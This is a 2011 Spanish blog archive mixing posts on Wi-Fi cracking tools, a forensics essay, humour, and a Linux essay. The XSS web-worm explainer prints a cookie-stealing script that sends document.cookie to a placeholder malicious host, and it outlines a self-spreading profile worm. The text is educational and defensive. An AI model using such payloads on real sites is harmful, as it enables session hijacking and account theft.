martes, 3 de mayo de 2011

Herramientas para test de penetración redes Wi-Fi

Se trata de una distribución Linux, un servicio de cloud computing y una herramienta; muy útiles para realizar un test de penetración en redes Wi-Fi.

Una distribución muy interesante es Slitaz Aircrack-ng, aunque existe distribuciones para estés fines más completas en herramientas, muy pocas soportan tanto hardware diferente como esta distribución. Pero no solo su compatibilidad es lo que hace de ella una buena distribución, la inclusión de Aircrack-ng 1.0 y que solo ocupa 54,7 MB le hacen ganar enteros.

Más información y descarga de Slitaz Aircrack-ng

WPA cracking, un servicio de cloud computing al que enviando una captura de trafico PCAP el nombre del ESSID de la red, utiliza sus 400 procesadores y un diccionario de 136 millones de combinaciones para descifrar la claves WPA en aproximadamente 20 minutos, por el precio de 35 dólares con una opción de usar solo la mitad de procesadores por 17 dólares.

Más información de WPA cracking

InSSIDer es una herramienta de descubrimiento y medición de potencia de señal de redes Wi-Fi de la talla de NetStumbler pero con compatibilidad para sistemas 64-bit. Además incluye soporte para GPS con capacidad de exportar los datos a Google Earth.

Más información y descarga de InSSIDer.

Autor: Alvaro Paz
Fuente: Guru de la Informática

Avatar creada con más de 4.000 servidores Linux

Avatar, la película de James Cameron (director de Titanic y Terminator) que en tan sólo 10 días ya recaudó más de U$S 600 Millones, fué creada en gran parte en los estudios neozelandeses de Weta Digital, que con su datacenter de más de 4300 servidores HP Proliant BL2×220c G5 contribuyó a producir los impresionantes efectos y secuencias visuales generados por computadoras del film.

En total sumaron 40.000 procesadores con 104 Terabytes de RAM funcionando 24 hrs. al día, procesando de 7 a 8 Gigabytes de datos por segundo y produciendo 17,8 Gb por cada minuto de la película. Todo en un clúster Linux que actualmente ocpupa el puesto 193 del ránking de las 500 supercomputadoras más rápidas del mundo y para el que se tuvo que construir un sistema de refrigeración con agua, ya que los sistemas convencionales de pisos elevados y refrigeración por aire no pudieron controlar el calor que producía.

Weta Digital fué fundada hace 15 años por Peter Jackson, quien luego usó la tecnología desarrollada por su empresa para crear sus no menos memorables películas The Lord of the Rings y King Kong.

La Informatica Forense

Resumen. La información es el activo más valioso que poseemos en la sociedad actual. Ésta es cada vez más importante para el desarrollo de las empresas y de negocios exitosos a través de la implementación de sistemas de información. Para proteger la información surge una nueva ciencia, la Informática Forense; ésta persigue objetivos preventivos así como reactivos, una vez se ha dado una infiltración en el sistema. 

La Informática forense es una ciencia relativamente nueva y no existen estándares aceptados. Existen proyectos que están en desarrollo como el C4PDF (Código de Prácticas para Digital Forensics), de Roger Carhuatocto, el Open Source Computer Forensics Manual, de Matías Bevilacqua Trabado y las Training Standards and Knowledge Skills and Abilities de la International Organization on Computer Evidence.

Informática forense
Actualmente la tecnología esta avanzando a pasos agigantados, y con ella la forma en que todos operamos. Ahora toda la información es almacenada en los ordenadores de manera automática, a diferencia de épocas anteriores en donde la información se almacenaba de manera manual y en papel. Esto conlleva cierto tipo de ventajas y desventajas.

Las ventajas son evidentes, mayor facilidad en el manejo de la información, rapidez en la recolección y análisis de la misma, alta disponibilidad tanto en tiempo como en localidad. Sin embargo, las desventajas y riesgos en los que se incurre no son tan obvios. Entre estos, la vulnerabilidad de la información a ser borrada, la fácil replicación de la información, la explotación de la información por vulnerabilidades en el sistema.

Con todo el riesgo que se corre al manejar información debemos de tener una manera de protegernos y de proteger a las personas de las que mantenemos información. Para poder garantizar las políticas de seguridad y la protección de la información y las tecnologías que facilitan la gestión de la información surge la Informática forense.

Según el FBI, la informática (o computación) forense es la ciencia de adquirir,
preservar, obtener y presentar datos que han sido procesados electrónicamente y
guardados en un medio computacional.

La informática forense consiste en investigar sistemas de información con el fin de detectar evidencias de vulnerabilidad en los mismos. La finalidad de la informática forense, para un ente que la requiera, es perseguir objetivos preventivos (anticipándose al posible problema) u objetivos correctivos (para una solución favorable una vez que la vulnerabilidad y las infracciones ya se han producido).

En conclusión, la informática forense tiene un papel, en primer lugar, como sistema preventivo. Sirve para auditar, mediante la práctica de diversas técnicas para probar que los sistemas de seguridad instalados cumplen con ciertas condiciones básicas de seguridad. Los resultados de las auditorías servirán para poder corregir los errores encontrados y poder mejorar el sistema. Así mismo, lograr la elaboración de políticas de seguridad y uso de los sistemas para mejorar el rendimiento y la seguridad de todo el sistema de información.

En segundo lugar, sí el sistema ha sido penetrado, la informática forense permite realizar un rastreo de la intrusión y poder descubrir el daño realizado. Así como la recopilación de evidencias electrónicas, detectar el origen del ataque o las alteraciones realizadas al sistema (fugas de información, perdida o manipulación de datos). Para que, posteriormente, se utilicen las evidencias encontradas en la captura de los criminales que atacaron el sistema, y se proceda de manera legal según las regulaciones de cada país.

Conclusiones
En la actualidad el valor de la información esta en aumento, con ello debemos de preocuparnos más por protegerla. La informática forense nace a raíz de esta preocupación, buscando tanto la prevención como la reacción y corrección a problemas que puedan afectar los sistemas de información.

Para la buena aplicación preventiva de la informática forense es necesaria la realización de auditorías continuas en los sistemas, y la corrección de los errores encontrados en los mismos. También se necesita establecer políticas de seguridad para usuarios y para el uso de los sistemas de información, con el fin de minimizar la posibilidad de infiltraciones por alguna negligencia por parte de los usuarios o alguna falla en los procedimientos.

Por otro lado, en cuanto a la parte reactiva de la informática forense se necesita el uso de programas para la detección de la intrusión en el sistema de información y los cambios realizados a la información (manipulación o borrado). Así como un equipo multidiciplinario para poder cubrir de manera efectiva las áreas que traspasadas durante el ataque y poder rastrear los daños y al atacante.

Para que todo lo realizado en la informática forense sea exitoso, es necesario que se tengan regulaciones jurídicas que penalicen a los atacantes y que pueda sentenciarseles por los crímenes cometidos. Cada país necesita reconocer el valor de la información de sus habitantes y poder protegerlos mediante leyes. De manera que todos los crímenes informáticos no queden impunes.
Referencias
Via La Consigna

Que es un gusano web y cómo funciona

Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:
<script>alert(document.cookie)</script>
Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?
Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:
<script>document.location.href = ‘www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie; </script>
Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.
Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:
<script>alert(document.cookie);</script>
Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.
Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.
Via  rooibo.com

Video: Cómo hackear una red inalámbrica WEP

Este video How-To explica en 4 minutos cómo hackear la seguridad WEP (Wired Equivalent Privacy) de una red inalámbrica usando el LiveDVD de la distribución especializada en la seguridad BackTrack 4.

Básicamente, el método descripto hace uso de la suite de seguridad Aircrack-ng, que a propósito tiene una activa comunidad en español, para romper la clave WEP. Sin embargo, debemos notar que para ello es necesario intercambiar antes una gran cantidad de paquetes con la red en cuestión, un proceso que puede durar alrededor de una hora.

La moraleja de este tutorial es que la mayoría de las conexiones WEP pueden hackearse en menos de dos horas, y que siempre debemos optar por una encriptación más fuerte, como WPA o WPA2, que aunque tampoco con infalibles, por lo menos es más difícil irrumpir en ellas.

miércoles, 27 de abril de 2011

10 cosas que seguramente te han pasado

Hace bastante que no posteo y es a causa de que estaba estudindo   y queria que mi regreso al mundo del blogging fuera con algo de humor asi que aqui va…10 cosas que seguramente te han pasado:
  1. Se te ha caído el chicle de la boca cuando hablas
  2. Te has golpeado con una puerta o algo transparente.
  3. Has pensado algo divertido y te empiezas a reír y la gente se te queda viendo raro.
  4. Mandas correos cadena porque tienes miedo de que pase alguna de las cosas que dice que van a pasar aunque sabes que NO es posible que pasen.
  5. Te has estado ahogando con tu propia saliva
  6. Usas los dedos para hacer sumas simples
  7. De repente se te cae la baba
  8. Nunca te habías dado cuenta que la canción “Del abecedario” y la de “Estrellita dónde estás” tienen el mismo ritmo.
  9. Al leer el punto 8, has intentado cantarlas.
  10. Has buscado algo por todos lados y resulta que lo tenías en la bolsa/mano
Extras:
  • Te has quedado dormido(a) en clase.
  • Estás contando algo y se te olvida de lo que hablabas.
  • Has visto la la película de “Matrix” y sigues sin entenderla.
  • No te has dado cuenta de que en la pregunta anterior está 2 veces la palabra “la”.
  • Acabas de mirar atrás a la pregunta a ver si es verdad.
  • Estás haciendo esta prueba mientras deberías estar haciendo algo importante.

lunes, 25 de abril de 2011

PARA EL GNU/LINUX EL USUARIO REALMENTE CUENTA?

Un articulo que vi en Awven.com al cual me permito copiarlo completamente el cual fue publicado por los amigos @Echevemaster y @Sinfallas dediquen un tiempo para leerlo y analizarlo.

Desde su creación a finales de 1983 el sistema operativo ahora conocido como GNU/Linux ha tenido apoyo de diversas comunidades y organizaciones las cuales de un modo u otro han contribuido a su expansión y perfeccionamiento permitiendo que este llegue a las dimensiones colosales que ahora posee.

Todo empezó como un proyecto colaborativo, pero con el pasar del tiempo la misma filosofía que permitió el éxito de la comunidad también ocasionó que ciertas organizaciones o consorcios utilizarán la voluntad altruista de la comunidad para hacerse con material que ha sido utilizado para fines comerciales. Por ejemplo se puede citar el caso de la aplicación Imagemaster utilizada para instalar Windows 7 desde una unidad USB, y que fue retirada del Centro de Descargas de Microsoft por sospecha de uso de código licenciado bajo GPL en su desarrollo, misma sospecha que fue reiterada y asumida por no hacer revisión del código desarrollado por terceros.
gnu linux1 Para el GNU/Linux el usuario realmente cuenta?
Si bien es cierto que las comunidades en la que se sustentan las diversas distribuciones de GNU/Linux han logrado que este presente en muchos dispositivos que utilizamos a diario desde los ordenadores personales, móviles, electrodomésticos hasta los supercomputadores, también es cierto que la falta de directrices y consenso entre ellas han supuesto un talón de aquiles ya que los estándares de operaciones y desarrollo sobre las aplicaciones son muchas veces convertidos en proyectos duplicados en el contexto de la funcionalidad.

Esta el caso de las diferentes implementaciones de reproductores de música y de vídeo tales como Banshee, Exaile, Rhythmbox. Mplayer entre otros, no se justifica entonces tantos esfuerzos por reinventar la rueda.
No se diga que la variedad es mala, pero no se entiende como en casos como el sistema de gestión de paquetes APT considerado por muchos el mejor que existe en la actualidad, este no este implementado en todas las distribuciones, obligando al usuario que cambia de distribución ya sea por gusto o por necesidad deba aprender herramientas que hacen exactamente lo mismo como Yum, Pacman, Zypper etc.

Otro ejemplo de esto fue Beryl que en 2006 se separo del proyecto Compiz por desacuerdos entre la comunidad, lo mismo hizo Canonical en su intención de tener una Shell gráfica debido a desacuerdos con con los desarrolladores de GNOME3; ¿Porqué perder tanto tiempo de desarrollo con respecto a herramientas tan maduras como CompizFusion, para volver a empezar y cometer los mismos errores superados hace unos años?¿Recuerdan la posición dominante de KDE a finales de la década de los `90?

Claro no todo es malo, está diversidad también tiene sus puntos positivos, el poder de decisión de las comunidades supone un enfrentamiento directo contra las bases corporativas cerradas u organismos de censura en los países sin libertades básicas específicamente China con la distribución Red Flag Linux para controlar supuestamente la piratería, habiendo infinidad de distribuciones que utilizar. ¿Les suena conocido esta manera de imponer un software que según se apoya en la libertad de elegir?.

La filosofía del software libre se basa en 4 grandes libertades: ejecutar, copiar, modificar y distribuir el software, hasta aquí todo bien, pero que le puedes decir a un usuario novato cuando desea escuchar musica en formato mp3, ver vídeos en flash o incluso una película en DVD y se da cuenta de que su distribución favorita no trae por defecto las herramientas necesarias para dicha tarea afectando así su experiencia final.

¿Por que un pequeño grupo de puristas debe decidir si el usuario final puede o no hacer uso de un determinado conjunto de herramientas basandosé en su opinión de la aplicación sinequanon de las 4 grandes libertades? ¿A caso lo que busca la comunidad no es hacer la experiencia al usuario novato mas placentera que en las otras plataformas? ¿Si es así, donde queda la libertad de elegir lo que usuario desea hacer con su ordenador? y ¿La comunidad no tiene 20 años tratando de atraer usuarios?.

Aquí se da el choque entre los protagonistas de la comunidad, por una parte los desarrolladores de las aplicaciones, por otra los grupos de usuarios Linux, los primeros defienden a ultranza la no utilización de software privativo, los segundos intentan reclutar nuevos usuarios brindándoles experiencias completamente funcionales valiéndose de la supuesta facilidad de uso actual de GNU/Linux. En medio de este fuego cruzado se encuentra el usuario de paso que bajo ningún concepto debería tener un curva de aprendizaje tan elevada para poder usar de forma completamente funcional el sistema.

Entonces, ¿Es posible el uso masivo de GNU/Linux? se dio un gran paso con el kernel, allí hay consenso, estándares y trabajo organizado, igualmente con las herramientas GNU básicas, ellas forman parte de todas las distribuciones, ¿Cuando simplemente llegaremos a una opinión conjunta sobre todas y cada una de la partes del sistema?.

Se podrá cuando tengamos en cuenta la quinta de las libertades, una que esta implícita socialmente hablando pero no a nivel filosófico, la libertad de elegir; y no entre programas, no entre distribuciones, ni siquiera entre dispositivos, sino la de dejar en disposición de todo tipo de usuario la forma en la que utilizará para su propio beneficio las bondades del mundo del software libre.

VOLVIMOS

 YA ESTAMOS ACTIVOS, ASI QUE PENDIENTES